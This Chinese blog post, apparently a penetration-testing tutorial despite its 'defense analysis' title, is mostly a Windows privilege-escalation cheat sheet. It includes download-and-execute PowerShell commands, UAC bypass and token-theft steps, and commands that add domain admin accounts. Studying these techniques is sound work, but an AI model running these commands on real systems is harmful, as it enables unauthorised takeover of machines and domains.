权限提升防御分析


权限提升防御分析

系统内核溢出漏洞提权

手动执行命令发现缺失补丁

systeminfo
wmic qfe get Caption,Description,HotfixID,InstalledOn

发现补丁编号

wmic qfe get Caption,Description,HotfixID,InstalledOn | findstr C:"KB3143141" C:/"KB976902"

Windows Exploit Suggester

使用 systeminfo 命令获取当前系统的补丁安装状况,并将信息导入 patches.txt 文件中

  1. 更新补丁信息
python windows-exploit-suggester.py --update
  1. 检查漏洞
python windows-exploit-suggester.py -d 2019-02-02-mssb.xls -i patches.txt

Metasploit 内置 local_exploit_suggester 模块

powershell 中的 sherlock 脚本

https://github.com/rasta-mouse/Sherlock

import-module .\Sherlock.ps1 
Find-AllVulns

https://github.com/rasta-mouse/Watson

Windows 配置错误利用

系统服务权限配置错误

powerup

https://github.com/PowerShellMafia/PowerSploit/tree/master/Privesc

powershell.exe -exec bypass -Command "&{Import-Module .\PowerUP.ps1;Invoke-AllChecks}"
powershell.exe -exec bypass -c "IEX(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowershellEmpire/PowerTools/master/PowerUp/PowerUp.ps1');Invoke-AllChecks"

metasploit 下的利用

对应模块 service_permissions

注册表键 AlwaysInstallElevated

AlwaysInstallElevated 是一个策略设置。微软允许非授权用户以 SYSTEM 权限运行安装文件(MSI),如果用户启用此策略设置,那么黑客利用恶意的 MSI 文件就可以进行管理员权限的提升。假设我们拿到目标主机的 Meterpreter 会话后并没能通过一些常规方式取得 SYSTEM 权限,那么 AlwaysInstallElevated 提权可以给我们带来另一条思路。

  • 手动检测注册表:
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

如果值均为 1,说明存在风险

  • PowerUp 脚本
powershell.exe -exec bypass -c "IEX(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowershellEmpire/PowerTools/master/PowerUp/PowerUp.ps1');Get-RegistryAlwaysInstallElevated"

添加账户

Write-UserAddMSI

以普通用户运行

msiexec /q /i UserAdd.smi

也可以利用 msf 中的 always_install_elevated 模块

可信任服务路径漏洞

metasploit 下的利用

  • 检测目标机器是否存在漏洞
wmic service get name,displayname,pathname,startmode|findstr /i "Auto" | findstr /i /v "C:\Windows\\"|findstr /i /v """
  • 把要上传的程序重命名并放置在此漏洞且可写的目录下,执行如下命令:
sc stop service_name
sc start service_name
  • 也可以使用 msf 中的 Windows Service Trusted Path Privilege Escalation 模块进行测试

注意: msf 要设置 set AutoRunScript migrate -f 防止掉线

自动安装配置文件

dir /b /s c:\Unattend.xml
dir /b /s c:\sysprep.xml

查看文件中知否存在 base64 加密的密码

msf 中集成了该漏洞的利用模块 post/windows/gather/enum_unattend

计划任务

查看计划任务

schtasks /query /fo LIST /v

查询可写的计划任务文件夹

accesschk.exe -dqc "C:\Microsoft" -accepteula

列出某个驱动器下所有权限配置有缺陷的文件夹

accesschk.exe -uwdqsUsersc:\
accesschk.exe -uwdqs"AuthenticatedUsers"c:\

列出某个驱动器下所有权限配置有缺陷的文件

accesschk.exe -uwdqsUsersc:\*.*
accesschk.exe -uwdqs"AuthenticatedUsers"c:\*.*

Empire 内置模块

usermode privesc/powerup/xxxx

绕过 UAC 提权

bypassuac 模块

前提:当前用户必须在管理员组中

exploit/windows/local/bypassuac
exploit/windows/local/bypassuac_inject
getsystem

RunAs 模块

exploit/windows/local/ask

弹出一个 UAC 框,用户点击后会弹回一个高权限的 shell

getuid 查看权限,如果是普通用户权限,执行 getsystem 提权

Nishang 中的 Invoke-PsUACme 模块

Invoke-PsUACme -Verbose ## 使用Sysprep方法并执行默认的Payload
Invoke-PsUACme -method oobe -Verbose ## 使用oobe方法方法并执行默认的Payload
Invoke-PsUACme -Payload "powershell -windowstyle hidden -e YourEncodedPayload"
## 使用-Payload参数,可以自行指定要执行的Payload

Empire 中的 bypassuac 模块

bypassuac 模块

usemode privesc/bypassuac 
execute

bypassuac_wscript 模块

usemode privesc/bypassuac_wscript
execute

令牌窃取

msf 上的令牌窃取

假设已经获取了 meterpreter shell

use incognito
list_tokens -u

incognito 中调用 impersonate_token

impersonate_token DESKTOP-DUNPKQ9\\Administrator

注意:在输入主机名 \ 用户名时,需要输入两个反斜杠

Rotten Potato 本地提权

use incognito
list_tokens -u
execute -HC -f rottenpotato.exe
impersonate_token "NT AUTHORITY\\SYSTEM"

添加域管理员

假设网络中设置了域管进程,在 meterpreter shell 中迁移进程至域管进程中

net user test test123!@# /ad /domain
net group "domain admins" test /ad /domain

同样,在 meterpreter shell 中可以使用 incognito 来模拟域管理员,然后通过迭代系统中所有可用的身份验证令牌来添加域管理员。

在活动的 meterpreter shell 中执行如下命令:

add_user test test!@#123 -h 1.1.1.2

执行如下命令,将该账户加到域管理员组中。

add_user "Domain Admins" test -h 1.1.1.2

Empire 下的令牌窃取分析

运行 mimikatz,输入 creds

执行:

pth CredID

无凭证下的权限获取

LLMNR 和 NetBIOS 欺骗攻击

Responder 工具

开启监听模式


文章作者: Geekby
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 Geekby !
 上一篇
域内横向移动分析 域内横向移动分析
域内横向移动分析常用 Windows 远程连接和相关命令IPCnet use \\IP\ipc$ "password" /user:Administrator IPC 的利用条件 开启 139 端口 管理员开启了默认共享 使用 Windo
2020-02-17
下一篇 
内网信息收集 内网信息收集
内网信息收集收集本机信息手动信息搜集查询网络配置信息ipconfig /all 查询操作系统及软件的信息查询操作系统和版本信息systeminfo | findstr /B /C:"OS Name" /C:"OS Version" sys
2020-02-13
  目录